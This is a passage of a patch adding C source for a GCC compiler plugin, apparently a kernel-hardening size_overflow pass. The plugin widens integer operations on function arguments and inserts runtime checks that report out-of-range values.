++	gimple cond_stmt;
++	gimple_stmt_iterator gsi = gsi_last_bb(cond_bb);
++
++	cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE);
++	gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(cond_stmt);
++}
++
++static tree create_string_param(tree string)
++{
++	tree i_type, a_type;
++	const int length = TREE_STRING_LENGTH(string);
++
++	gcc_assert(length > 0);
++
++	i_type = build_index_type(build_int_cst(NULL_TREE, length - 1));
++	a_type = build_array_type(char_type_node, i_type);
++
++	TREE_TYPE(string) = a_type;
++	TREE_CONSTANT(string) = 1;
++	TREE_READONLY(string) = 1;
++
++	return build1(ADDR_EXPR, ptr_type_node, string);
++}
++
++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min)
++{
++	gimple func_stmt;
++	const_gimple def_stmt;
++	const_tree loc_line;
++	tree loc_file, ssa_name, current_func;
++	expanded_location xloc;
++	char ssa_name_buf[256];
++	gimple_stmt_iterator gsi = gsi_start_bb(bb_true);
++
++	def_stmt = get_def_stmt(arg);
++	xloc = expand_location(gimple_location(def_stmt));
++
++	if (!gimple_has_location(def_stmt)) {
++		xloc = expand_location(gimple_location(stmt));
++		if (!gimple_has_location(stmt))
++			xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++	}
++
++	loc_line = build_int_cstu(unsigned_type_node, xloc.line);
++
++	loc_file = build_string(strlen(xloc.file) + 1, xloc.file);
++	loc_file = create_string_param(loc_file);
++
++	current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl));
++	current_func = create_string_param(current_func);
++
++	snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max");
++	ssa_name = build_string(256, ssa_name_buf);
++	ssa_name = create_string_param(ssa_name);
++
++	// void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name)
++	func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name);
++
++	gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING);
++}
++
++static void __unused print_the_code_insertions(const_gimple stmt)
++{
++	location_t loc = gimple_location(stmt);
++
++	inform(loc, "Integer size_overflow check applied here.");
++}
++
++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min)
++{
++	basic_block cond_bb, join_bb, bb_true;
++	edge e;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++
++	cond_bb = gimple_bb(stmt);
++	if (before)
++		gsi_prev(&gsi);
++	if (gsi_end_p(gsi))
++		e = split_block_after_labels(cond_bb);
++	else
++		e = split_block(cond_bb, gsi_stmt(gsi));
++	cond_bb = e->src;
++	join_bb = e->dest;
++	e->flags = EDGE_FALSE_VALUE;
++	e->probability = REG_BR_PROB_BASE;
++
++	bb_true = create_empty_bb(cond_bb);
++	make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE);
++	make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE);
++	make_edge(bb_true, join_bb, EDGE_FALLTHRU);
++
++	if (dom_info_available_p(CDI_DOMINATORS)) {
++		set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb);
++		set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb);
++	}
++
++	if (current_loops != NULL) {
++		gcc_assert(cond_bb->loop_father == join_bb->loop_father);
++		add_bb_to_loop(bb_true, cond_bb->loop_father);
++	}
++
++	insert_cond(cond_bb, arg, cond_code, type_value);
++	insert_cond_result(bb_true, stmt, arg, min);
++
++//	print_the_code_insertions(stmt);
++}
++
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before)
++{
++	const_tree rhs_type = TREE_TYPE(rhs);
++	tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min;
++
++	gcc_assert(rhs_type != NULL_TREE);
++	if (TREE_CODE(rhs_type) == POINTER_TYPE)
++		return;
++
++	gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE);
++
++	type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type));
++	type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type));
++
++	gcc_assert(!TREE_OVERFLOW(type_max));
++
++	cast_rhs_type = TREE_TYPE(cast_rhs);
++	type_max_type = TREE_TYPE(type_max);
++	type_min_type = TREE_TYPE(type_min);
++	gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type));
++	gcc_assert(useless_type_conversion_p(type_max_type, type_min_type));
++
++	insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false);
++	insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true);
++}
++
++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs)
++{
++	gimple change_rhs_def_stmt;
++	tree lhs = gimple_get_lhs(def_stmt);
++	tree lhs_type = TREE_TYPE(lhs);
++	tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt));
++	tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt));
++
++	if (change_rhs == NULL_TREE)
++		return get_size_overflow_type(def_stmt, lhs);
++
++	change_rhs_def_stmt = get_def_stmt(change_rhs);
++
++	if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR)
++		return get_size_overflow_type(change_rhs_def_stmt, change_rhs);
++
++	if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) {
++		debug_gimple_stmt(def_stmt);
++		gcc_unreachable();
++	}
++
++	return get_size_overflow_type(def_stmt, lhs);
++}
++
++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs)
++{
++	if (gimple_assign_rhs_code(stmt) == MIN_EXPR)
++		return false;
++	if (!is_gimple_constant(rhs))
++		return false;
++	return true;
++}
++
++static tree get_cast_def_stmt_rhs(const_tree new_rhs)
++{
++	gimple def_stmt;
++
++	def_stmt = get_def_stmt(new_rhs);
++	// get_size_overflow_type
++	if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode))
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++	return gimple_assign_rhs1(def_stmt);
++}
++
++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs)
++{
++	gimple_stmt_iterator gsi;
++	const_gimple cast_stmt;
++	gimple def_stmt;
++	enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs));
++
++	if (mode != TImode && mode != DImode) {
++		def_stmt = get_def_stmt(new_rhs);
++		gcc_assert(gimple_assign_cast_p(def_stmt));
++		new_rhs = gimple_assign_rhs1(def_stmt);
++		mode = TYPE_MODE(TREE_TYPE(new_rhs));
++	}
++
++	gcc_assert(mode == TImode || mode == DImode);
++
++	if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node))
++		return new_rhs;
++
++	gsi = gsi_for_stmt(stmt);
++	cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++	new_rhs = gimple_get_lhs(cast_stmt);
++
++	if (mode == DImode)
++		return new_rhs;
++
++	check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT);
++
++	return new_rhs;
++}
++
++static bool is_an_integer_trunction(const_gimple stmt)
++{
++	gimple rhs1_def_stmt, rhs2_def_stmt;
++	const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1;
++	enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode;
++	const_tree rhs1 = gimple_assign_rhs1(stmt);
++	const_tree rhs2 = gimple_assign_rhs2(stmt);
++	enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1));
++	enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2));
++
++	if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2))
++		return false;
++
++	gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME);
++
++	if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode)
++		return false;
++
++	rhs1_def_stmt = get_def_stmt(rhs1);
++	rhs2_def_stmt = get_def_stmt(rhs2);
++	if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt))
++		return false;
++
++	rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt);
++	rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt);
++	rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1));
++	rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1));
++	if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode)
++		return false;
++
++	gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true);
++	gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true);
++	return true;
++}
++
++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs)
++{
++	tree new_rhs1, new_rhs2;
++	tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs;
++	tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type;
++	gimple assign, stmt = get_def_stmt(lhs);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++
++	if (!is_an_integer_trunction(stmt))
++		return NULL_TREE;
++
++	new_rhs1 = expand(visited, rhs1);
++	new_rhs2 = expand(visited, rhs2);
++
++	new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1);
++	new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2);
++
++	new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1);
++	new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1);
++
++	if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) {
++		new_rhs1_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs1_def_stmt_rhs1);
++		new_rhs2_def_stmt_rhs1 = cast_to_int_TI_type_and_check(stmt, new_rhs2_def_stmt_rhs1);
++	}
++
++	assign = create_binary_assign(MINUS_EXPR, stmt, new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1);
++	new_lhs = gimple_get_lhs(assign);
++	check_size_overflow(assign, TREE_TYPE(new_lhs), new_lhs, rhs1, AFTER_STMT);
++
++	return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++static bool is_a_neg_overflow(const_gimple stmt, const_tree rhs)
++{
++	const_gimple def_stmt;
++
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return false;
++
++	if (gimple_assign_rhs_code(stmt) != PLUS_EXPR)
++		return false;
++
++	def_stmt = get_def_stmt(rhs);
++	if (gimple_code(def_stmt) != GIMPLE_ASSIGN || gimple_assign_rhs_code(def_stmt) != BIT_NOT_EXPR)
++		return false;
++
++	return true;
++}
++
++static tree handle_intentional_overflow(struct pointer_set_t *visited, bool check_overflow, gimple stmt, tree change_rhs, tree new_rhs1, tree new_rhs2)
++{
++	tree new_rhs, size_overflow_type, orig_rhs;
++	void (*gimple_assign_set_rhs)(gimple, tree);
++	tree rhs1 = gimple_assign_rhs1(stmt);
++	tree rhs2 = gimple_assign_rhs2(stmt);
++	tree lhs = gimple_get_lhs(stmt);
++
++	if (change_rhs == NULL_TREE)
++		return create_assign(visited, stmt, lhs, AFTER_STMT);
++
++	if (new_rhs2 == NULL_TREE) {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs1);
++		new_rhs2 = cast_a_tree(size_overflow_type, rhs2);
++		orig_rhs = rhs1;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs1;
++	} else {
++		size_overflow_type = get_size_overflow_type_for_intentional_overflow(stmt, new_rhs2);
++		new_rhs1 = cast_a_tree(size_overflow_type, rhs1);
++		orig_rhs = rhs2;
++		gimple_assign_set_rhs = &gimple_assign_set_rhs2;
++	}
++
++	change_rhs = cast_to_new_size_overflow_type(stmt, change_rhs, size_overflow_type, BEFORE_STMT);
++
++	if (check_overflow)
++		check_size_overflow(stmt, size_overflow_type, change_rhs, orig_rhs, BEFORE_STMT);
++
++	new_rhs = change_assign_rhs(stmt, orig_rhs, change_rhs);
++	gimple_assign_set_rhs(stmt, new_rhs);
++	update_stmt(stmt);
++
++	return create_assign(visited, stmt, lhs, AFTER_STMT);
++}
++
++static tree handle_binary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, new_lhs;
++	gimple def_stmt = get_def_stmt(lhs);
++	tree new_rhs1 = NULL_TREE;
++	tree new_rhs2 = NULL_TREE;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++
++	/* no DImode/TImode division in the 32/64 bit kernel */
++	switch (gimple_assign_rhs_code(def_stmt)) {
++	case RDIV_EXPR:
++	case TRUNC_DIV_EXPR:
++	case CEIL_DIV_EXPR:
++	case FLOOR_DIV_EXPR:
++	case ROUND_DIV_EXPR:
++	case TRUNC_MOD_EXPR:
++	case CEIL_MOD_EXPR:
++	case FLOOR_MOD_EXPR:
++	case ROUND_MOD_EXPR:
++	case EXACT_DIV_EXPR:
++	case POINTER_PLUS_EXPR:
++	case BIT_AND_EXPR:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	default:
++		break;
++	}
++
++	new_lhs = handle_integer_truncation(visited, lhs);
++	if (new_lhs != NULL_TREE)
++		return new_lhs;
++
++	if (TREE_CODE(rhs1) == SSA_NAME)
++		new_rhs1 = expand(visited, rhs1);
++	if (TREE_CODE(rhs2) == SSA_NAME)
++		new_rhs2 = expand(visited, rhs2);
++
++	if (is_a_neg_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_neg_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, true, def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	if (is_a_constant_overflow(def_stmt, rhs2))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs1), def_stmt, new_rhs1, new_rhs1, NULL_TREE);
++	if (is_a_constant_overflow(def_stmt, rhs1))
++		return handle_intentional_overflow(visited, !is_a_cast_and_const_overflow(rhs2), def_stmt, new_rhs2, NULL_TREE, new_rhs2);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, NULL_TREE);
++}
++
++#if BUILDING_GCC_VERSION >= 4007
++static tree get_new_rhs(struct pointer_set_t *visited, tree size_overflow_type, tree rhs)
++{
++	if (is_gimple_constant(rhs))
++		return cast_a_tree(size_overflow_type, rhs);
++	if (TREE_CODE(rhs) != SSA_NAME)
++		return NULL_TREE;
++	return expand(visited, rhs);
++}
++
++static tree handle_ternary_ops(struct pointer_set_t *visited, tree lhs)
++{
++	tree rhs1, rhs2, rhs3, new_rhs1, new_rhs2, new_rhs3, size_overflow_type;
++	gimple def_stmt = get_def_stmt(lhs);
++
++	size_overflow_type = get_size_overflow_type(def_stmt, lhs);
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs3 = gimple_assign_rhs3(def_stmt);
++	new_rhs1 = get_new_rhs(visited, size_overflow_type, rhs1);
++	new_rhs2 = get_new_rhs(visited, size_overflow_type, rhs2);
++	new_rhs3 = get_new_rhs(visited, size_overflow_type, rhs3);
++
++	return follow_overflow_type_and_dup(visited, def_stmt, lhs, new_rhs1, new_rhs2, new_rhs3);
++}
++#endif
++
++static tree get_size_overflow_type(gimple stmt, const_tree node)
++{
++	const_tree type;
++
++	gcc_assert(node != NULL_TREE);
++
++	type = TREE_TYPE(node);
++
++	if (gimple_plf(stmt, MY_STMT))
++		return TREE_TYPE(node);
++
++	switch (TYPE_MODE(type)) {
++	case QImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intHI_type_node : intHI_type_node;
++	case HImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intSI_type_node : intSI_type_node;
++	case SImode:
++		return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++	case DImode:
++		if (LONG_TYPE_SIZE == GET_MODE_BITSIZE(SImode))
++			return (TYPE_UNSIGNED(type)) ? unsigned_intDI_type_node : intDI_type_node;
++		return (TYPE_UNSIGNED(type)) ? unsigned_intTI_type_node : intTI_type_node;
++	default:
++		debug_tree((tree)node);
++		error("%s: unsupported gcc configuration.", __func__);
++		gcc_unreachable();
++	}
++}
++
++static tree expand_visited(gimple def_stmt)
++{
++	const_gimple next_stmt;
++	gimple_stmt_iterator gsi = gsi_for_stmt(def_stmt);
++
++	gsi_next(&gsi);
++	next_stmt = gsi_stmt(gsi);
++
++	gcc_assert(gimple_plf((gimple)next_stmt, MY_STMT));
++
++	switch (gimple_code(next_stmt)) {
++	case GIMPLE_ASSIGN:
++		return gimple_get_lhs(next_stmt);
++	case GIMPLE_PHI:
++		return gimple_phi_result(next_stmt);
++	case GIMPLE_CALL:
++		return gimple_call_lhs(next_stmt);
++	default:
++		return NULL_TREE;
++	}
++}
++
++static tree expand(struct pointer_set_t *visited, tree lhs)
++{
++	gimple def_stmt;
++	enum tree_code code = TREE_CODE(TREE_TYPE(lhs));
++
++	if (is_gimple_constant(lhs))
++		return NULL_TREE;
++
++	if (TREE_CODE(lhs) == ADDR_EXPR)
++		return NULL_TREE;
++
++	if (code == REAL_TYPE)
++		return NULL_TREE;
++
++	gcc_assert(code == INTEGER_TYPE || code == POINTER_TYPE || code == BOOLEAN_TYPE || code == ENUMERAL_TYPE);
++
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return NULL_TREE;
++
++	if (gimple_plf(def_stmt, MY_STMT))
++		return lhs;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return expand_visited(def_stmt);
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		return NULL_TREE;
++	case GIMPLE_PHI:
++		return build_new_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return create_assign(visited, def_stmt, lhs, AFTER_STMT);
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return handle_unary_ops(visited, lhs);
++		case 3:
++			return handle_binary_ops(visited, lhs);
++#if BUILDING_GCC_VERSION >= 4007
++		case 4:
++			return handle_ternary_ops(visited, lhs);
++#endif
++		}
++	default:
++		debug_gimple_stmt(def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static void change_function_arg(gimple stmt, const_tree origarg, unsigned int argnum, tree newarg)
++{
++	const_gimple assign;
++	gimple_stmt_iterator gsi = gsi_for_stmt(stmt);
++	tree origtype = TREE_TYPE(origarg);
++
++	gcc_assert(gimple_code(stmt) == GIMPLE_CALL);
++
++	assign = build_cast_stmt(origtype, newarg, CREATE_NEW_VAR, &gsi, BEFORE_STMT);
++
++	gimple_call_set_arg(stmt, argnum, gimple_get_lhs(assign));
++	update_stmt(stmt);
++}
++
++static bool get_function_arg(unsigned int* argnum, const_tree fndecl)
++{
++	const char *origid;
++	tree arg;
++	const_tree origarg;
++
++	if (!DECL_ABSTRACT_ORIGIN(fndecl))
++		return true;
++
++	origarg = DECL_ARGUMENTS(DECL_ABSTRACT_ORIGIN(fndecl));
++	while (origarg && *argnum) {
++		(*argnum)--;
++		origarg = TREE_CHAIN(origarg);
++	}
++
++	gcc_assert(*argnum == 0);
++
++	gcc_assert(origarg != NULL_TREE);
++	origid = NAME(origarg);
++	*argnum = 0;
++	for (arg = DECL_ARGUMENTS(fndecl); arg; arg = TREE_CHAIN(arg)) {
++		if (!strcmp(origid, NAME(arg)))
++			return true;
++		(*argnum)++;
++	}
++	return false;
++}
++
++static bool skip_types(const_tree var)
++{
++	switch (TREE_CODE(var)) {
++		case ADDR_EXPR:
++#if BUILDING_GCC_VERSION >= 4006
++		case MEM_REF:
++#endif
++		case ARRAY_REF:
++		case BIT_FIELD_REF:
++		case INDIRECT_REF:
++		case TARGET_MEM_REF:
++		case VAR_DECL:
++			return true;
++		default:
++			break;
++	}
++	return false;
++}
++
++static bool walk_phi(struct pointer_set_t *visited, const_tree result)
++{
++	gimple phi = get_def_stmt(result);
++	unsigned int i, n = gimple_phi_num_args(phi);
++
++	if (!phi)
++		return false;
++
++	pointer_set_insert(visited, phi);
++	for (i = 0; i < n; i++) {
++		const_tree arg = gimple_phi_arg_def(phi, i);
++		if (pre_expand(visited, arg))
++			return true;
++	}
++	return false;
++}
++
++static bool walk_unary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs;
++
++	if (!def_stmt)
++		return false;
++
++	rhs = gimple_assign_rhs1(def_stmt);
++	if (pre_expand(visited, rhs))
++		return true;
++	return false;
++}
++
++static bool walk_binary_ops(struct pointer_set_t *visited, const_tree lhs)
++{
++	bool rhs1_found, rhs2_found;
++	gimple def_stmt = get_def_stmt(lhs);
++	const_tree rhs1, rhs2;
++
++	if (!def_stmt)
++		return false;
++
++	rhs1 = gimple_assign_rhs1(def_stmt);
++	rhs2 = gimple_assign_rhs2(def_stmt);
++	rhs1_found = pre_expand(visited, rhs1);
++	rhs2_found = pre_expand(visited, rhs2);
++
++	return rhs1_found || rhs2_found;
++}
++
++static const_tree search_field_decl(const_tree comp_ref)
++{
++	const_tree field = NULL_TREE;
++	unsigned int i, len = TREE_OPERAND_LENGTH(comp_ref);
++
++	for (i = 0; i < len; i++) {
++		field = TREE_OPERAND(comp_ref, i);
++		if (TREE_CODE(field) == FIELD_DECL)
++			break;
++	}
++	gcc_assert(TREE_CODE(field) == FIELD_DECL);
++	return field;
++}
++
++static enum marked mark_status(const_tree fndecl, unsigned int argnum)
++{
++	const_tree attr, p;
++
++	attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(fndecl));
++	if (!attr || !TREE_VALUE(attr))
++		return MARKED_NO;
++
++	p = TREE_VALUE(attr);
++	if (!TREE_INT_CST_LOW(TREE_VALUE(p)))
++		return MARKED_NOT_INTENTIONAL;
++
++	do {
++		if (argnum == TREE_INT_CST_LOW(TREE_VALUE(p)))
++			return MARKED_YES;
++		p = TREE_CHAIN(p);
++	} while (p);
++
++	return MARKED_NO;
++}
++
++static void print_missing_msg(tree func, unsigned int argnum)
++{
++	unsigned int new_hash;
++	size_t len;
++	unsigned char tree_codes[CODES_LIMIT];
++	location_t loc = DECL_SOURCE_LOCATION(func);
++	const char *curfunc = get_asm_name(func);
++
++	len = get_function_decl(func, tree_codes);
++	new_hash = get_hash_num(curfunc, (const char *) tree_codes, len, 0);
++	inform(loc, "Function %s is missing from the size_overflow hash table +%s+%u+%u+", curfunc, curfunc, argnum, new_hash);
++}
++
++static unsigned int search_missing_attribute(const_tree arg)
++{
++	const_tree type = TREE_TYPE(arg);
++	tree func = get_original_function_decl(current_function_decl);
++	unsigned int argnum;
++	const struct size_overflow_hash *hash;
++
++	gcc_assert(TREE_CODE(arg) != COMPONENT_REF);
++
++	if (TREE_CODE(type) == POINTER_TYPE)
++		return 0;
++
++	argnum = find_arg_number(arg, func);
++	if (argnum == 0)
++		return 0;
++
++	if (lookup_attribute("size_overflow", DECL_ATTRIBUTES(func)))
++		return argnum;
++
++	hash = get_function_hash(func);
++	if (!hash || !(hash->param & (1U << argnum))) {
++		print_missing_msg(func, argnum);
++		return 0;
++	}
++	return argnum;
++}
++
++static bool is_already_marked(const_tree lhs)
++{
++	unsigned int argnum;
++	const_tree fndecl;
++
++	argnum = search_missing_attribute(lhs);
++	fndecl = get_original_function_decl(current_function_decl);
++	if (argnum && mark_status(fndecl, argnum) == MARKED_YES)
++		return true;
++	return false;
++}
++
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs)
++{
++	const_gimple def_stmt;
++
++	if (is_gimple_constant(lhs))
++		return false;
++
++	if (skip_types(lhs))
++		return false;
++
++	if (TREE_CODE(lhs) == PARM_DECL)
++		return is_already_marked(lhs);
++
++	if (TREE_CODE(lhs) == COMPONENT_REF) {
++		const_tree field, attr;
++
++		field = search_field_decl(lhs);
++		attr = lookup_attribute("intentional_overflow", DECL_ATTRIBUTES(field));
++		if (!attr || !TREE_VALUE(attr))
++			return false;
++		return true;
++	}
++
++	def_stmt = get_def_stmt(lhs);
++
++	if (!def_stmt)
++		return false;
++
++	if (pointer_set_contains(visited, def_stmt))
++		return false;
++
++	switch (gimple_code(def_stmt)) {
++	case GIMPLE_NOP:
++		if (TREE_CODE(SSA_NAME_VAR(lhs)) == PARM_DECL)
++			return is_already_marked(lhs);
++		return false;
++	case GIMPLE_PHI:
++		return walk_phi(visited, lhs);
++	case GIMPLE_CALL:
++	case GIMPLE_ASM:
++		return false;
++	case GIMPLE_ASSIGN:
++		switch (gimple_num_ops(def_stmt)) {
++		case 2:
++			return walk_unary_ops(visited, lhs);
++		case 3:
++			return walk_binary_ops(visited, lhs);
++		}
++	default:
++		debug_gimple_stmt((gimple)def_stmt);
++		error("%s: unknown gimple code", __func__);
++		gcc_unreachable();
++	}
++}
++
++static bool search_attributes(tree fndecl, const_tree arg, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	bool is_found;
++	enum marked is_marked;
++	location_t loc;
++
++	visited = pointer_set_create();
++	is_found = pre_expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	is_marked = mark_status(fndecl, argnum + 1);
++	if ((is_found && is_marked == MARKED_YES) || is_marked == MARKED_NOT_INTENTIONAL)
++		return true;
++
++	if (is_found) {
++		loc = DECL_SOURCE_LOCATION(fndecl);
++		inform(loc, "The intentional_overflow attribute is missing from +%s+%u+", get_asm_name(fndecl), argnum + 1);
++		return true;
++	}
++	return false;
++}
++
++static void handle_function_arg(gimple stmt, tree fndecl, unsigned int argnum)
++{
++	struct pointer_set_t *visited;
++	tree arg, newarg;
++	bool match;
++
++	match = get_function_arg(&argnum, fndecl);
++	if (!match)
++		return;
++	gcc_assert(gimple_call_num_args(stmt) > argnum);
++	arg = gimple_call_arg(stmt, argnum);
++	if (arg == NULL_TREE)
++		return;
++
++	if (is_gimple_constant(arg))
++		return;
++
++	if (search_attributes(fndecl, arg, argnum))
++		return;
++
++	if (TREE_CODE(arg) != SSA_NAME)
++		return;
++
++	check_arg_type(arg);
++
++	visited = pointer_set_create();
++	newarg = expand(visited, arg);
++	pointer_set_destroy(visited);
++
++	if (newarg == NULL_TREE)
++		return;
++
++	change_function_arg(stmt, arg, argnum, newarg);
++
++	check_size_overflow(stmt, TREE_TYPE(newarg), newarg, arg, BEFORE_STMT);
++}
++
++static void handle_function_by_attribute(gimple stmt, const_tree attr, tree fndecl)
++{
++	tree p = TREE_VALUE(attr);
++	do {
++		handle_function_arg(stmt, fndecl, TREE_INT_CST_LOW(TREE_VALUE(p))-1);
++		p = TREE_CHAIN(p);
++	} while (p);
++}
++
++static void handle_function_by_hash(gimple stmt, tree fndecl)
++{
++	tree orig_fndecl;
++	unsigned int num;
++	const struct size_overflow_hash *hash;
++
++	orig_fndecl = get_original_function_decl(fndecl);
++	if (C_DECL_IMPLICIT(orig_fndecl))
++		return;
++	hash = get_function_hash(orig_fndecl);
++	if (!hash)
++		return;
++
++	for (num = 1; num <= MAX_PARAM; num++)
++		if (hash->param & (1U << num))
++			handle_function_arg(stmt, fndecl, num - 1);
++}
++
++static void set_plf_false(void)
++{
++	basic_block bb;
++
++	FOR_ALL_BB(bb) {
++		gimple_stmt_iterator si;
++
++		for (si = gsi_start_bb(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++		for (si = gsi_start_phis(bb); !gsi_end_p(si); gsi_next(&si))
++			gimple_set_plf(gsi_stmt(si), MY_STMT, false);
++	}
++}
++
++static unsigned int handle_function(void)
++{
++	basic_block next, bb = ENTRY_BLOCK_PTR->next_bb;
++
++	set_plf_false();
++
++	do {
++		gimple_stmt_iterator gsi;
++		next = bb->next_bb;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			tree fndecl, attr;
++			gimple stmt = gsi_stmt(gsi);
++
++			if (!(is_gimple_call(stmt)))
++				continue;
++			fndecl = gimple_call_fndecl(stmt);
++			if (fndecl == NULL_TREE)
++				continue;
++			if (gimple_call_num_args(stmt) == 0)
++				continue;
++			attr = lookup_attribute("size_overflow", DECL_ATTRIBUTES(fndecl));
++			if (!attr || !TREE_VALUE(attr))
++				handle_function_by_hash(stmt, fndecl);
++			else
++				handle_function_by_attribute(stmt, attr, fndecl);
++			gsi = gsi_for_stmt(stmt);
++			next = gimple_bb(stmt)->next_bb;
++		}
++		bb = next;
++	} while (bb);
++	return 0;
++}
++
